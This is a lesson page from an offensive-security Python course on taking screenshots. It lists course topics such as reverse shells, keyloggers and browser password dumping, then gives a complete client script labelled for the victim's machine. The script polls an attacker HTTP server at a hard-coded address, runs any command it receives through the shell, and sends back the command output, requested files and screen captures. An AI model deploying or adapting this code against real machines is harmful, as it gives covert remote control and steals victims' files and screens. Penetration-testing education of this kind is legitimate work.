Making a screenshot

From course: Python For Offensive PenTest: A Complete Practical Course.

General index of the course

• Gaining persistence shells (TCP + HTTP):
  • Coding a TCP connection and a reverse shell.
  • Coding a low level data exfiltration - TCP connection.
  • Coding an http reverse shell.
  • Coding a data exfiltration script for a http shell.
  • Tunning the connection attempts.
  • Including cd command into TCP reverse shell.
• Advanced scriptable shells:
  • Using a Dynamic DNS instead of your bared attacker public ip.
  • Making your binary persistent.
  • Making a screenshot.
  • Coding a reverse shell that searches files.
• Techniques for bypassing filters:
  • Coding a reverse shell that scans ports.
  • Hickjack the Internet Explorer process to bypass an host-based firewall.
  • Bypassing Next Generation Firewalls.
  • Bypassing IPS with handmade XOR Encryption.
• Malware and crytography:
  • TCP reverse shell with AES encryption.
  • TCP reverse shell with RSA encryption.
  • TCP reverse shell with hybrid encryption AES + RSA.
• Password Hickjacking:
  • Simple keylogger in python.
  • Hijacking Keepass Password Manager.
  • Dumping saved passwords from Google Chrome.
  • Man in the browser attack.
  • DNS Poisoning.
• Privilege escalation:
  • Weak service file permission.

Client side

To be run on the victim's machine.

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved 
# Follow me on LinkedIn  https://jo.linkedin.com/in/python2


import requests
import os
import subprocess
import time


from PIL import ImageGrab # Used to Grab a screenshot
import tempfile           # Used to Create a temp directory
import shutil             # Used to Remove the temp directory


while True:
    req = requests.get('http://192.168.0.152:8080')
    command = req.text
    if 'terminate' in command:
        break
    elif 'grab' in command:
        grab, path = command.split("*")
        if os.path.exists(path):
            url = "http://192.168.0.152:8080/store"
            files = {'file': open(path, 'rb')}
            r = requests.post(url, files=files)
        else:
            post_response = requests.post(url='http://192.168.0.152:8080', data='[-] Not able to find the file!'.encode())

    elif 'screencap' in command: #If we got a screencap keyword, then ..

        dirpath = tempfile.mkdtemp() #Create a temp dir to store our screenshot file
        ImageGrab.grab().save(dirpath + "\img.jpg", "JPEG") #Save the screencap in the temp dir

        url = "http://192.168.0.152:8080/store"
        files = {'file': open(dirpath + "\img.jpg", 'rb')}
        r = requests.post(url, files=files) #Transfer the file over our HTTP

        files['file'].close() #Once the file gets transfered, close the file.
        shutil.rmtree(dirpath) #Remove the entire temp dir

    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stdout.read())
        post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stderr.read())
    time.sleep(3)

Last update: 2024-03-29
Created: April 10, 2023 16:52:50